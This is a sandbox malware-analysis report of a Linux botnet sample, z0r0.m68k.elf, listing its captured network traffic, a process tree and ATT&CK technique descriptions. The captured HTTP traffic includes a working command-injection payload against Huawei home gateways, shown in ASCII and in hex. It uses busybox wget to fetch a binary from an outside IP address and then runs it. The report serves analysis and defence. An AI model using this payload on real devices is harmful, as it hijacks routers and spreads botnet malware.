xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	44544	156.58.186.145	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.894406080 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: z0r0.m68k.elf PID: 5478, Parent PID: 5398

General

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	/tmp/z0r0.m68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:50
Start date (UTC):	05/01/2025
Path:	/tmp/z0r0.m68k.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:35:01
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:35:01
Start date (UTC):	05/01/2025
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:34:56
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:35:01
Start date (UTC):	05/01/2025
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	13:35:01
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	13:35:04
Start date (UTC):	05/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	13:35:04
Start date (UTC):	05/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report z0r0.m68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: z0r0.m68k.elf PID: 5478, Parent PID: 5398

General

Chronological Activities

Analysis Process: z0r0.m68k.elf PID: 5480, Parent PID: 5478

General

Chronological Activities

Analysis Process: z0r0.m68k.elf PID: 5482, Parent PID: 5480

General

Chronological Activities

Analysis Process: z0r0.m68k.elf PID: 5484, Parent PID: 5480

General

Chronological Activities

Linux Analysis Report
z0r0.m68k.elf